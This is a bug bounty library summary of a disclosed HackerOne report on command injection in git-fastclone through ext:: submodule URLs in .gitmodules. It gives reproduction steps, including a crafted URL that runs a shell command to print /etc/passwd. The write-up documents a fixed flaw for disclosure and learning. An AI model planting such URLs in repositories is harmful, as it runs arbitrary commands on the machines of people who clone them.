# git-fastclone allows arbitrary command execution through usage of ext remote URLs in submodules

git-fastclone reimplements submodule fetching and honors ext:: URLs in .gitmodules, letting a malicious repo execute arbitrary commands on clone.

- Payout: hidden
- Severity: high
- Program: Square Open Source
- Found by: bburky
- Disclosed: 2016-01-25
- CVE: CVE-2015-8968, CVE-2015-7545
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/104465
- Library page: https://bugbountylibrary.com/r/h1%3A104465
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:high technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** git-fastclone submodule fetch handling of .gitmodules URLs
**Root cause:** git-fastclone manually reimplements submodule fetching and passes .gitmodules URLs to git without restricting protocols, so the git-remote-ext helper executes commands embedded in ext:: URLs. The upstream git fix (protocol whitelist) does not apply since fastclone bypasses git-submodule.
**Steps:**
1. `git init malicious-ext-submodule && cd malicious-ext-submodule`
2. `git submodule add https://github.com/octocat/Hello-World malicious-submodule`
3. Overwrite .gitmodules with `url = "ext::sh -c cat% /etc/passwd% >&2"`
4. `git add .gitmodules && git commit -m 'Malicious git-remote-ext submodule'`
5. `git fastclone malicious-ext-submodule malicious-ext-submodule-clone` and observe /etc/passwd printed to stderr
**How found:** Noticed upstream git's CVE-2015-7545 fix for ext:: submodule URLs and reasoned that tools reimplementing submodule fetch (git-repo, git-fastclone) would not inherit the fix, then tested fastclone with a crafted .gitmodules.
**Exploitation:** Attacker publishes a repo whose .gitmodules points a submodule at an ext:: URL; when a victim runs git fastclone (or clones recursively), the git-remote-ext helper runs the embedded shell command on the victim host.
**Insight:** When a dependency patches a parser/helper-level flaw by adding a whitelist in its own code path, check downstream tools that reimplement that path—they bypass the fix entirely; here GIT_ALLOW_PROTOCOL must be set explicitly.

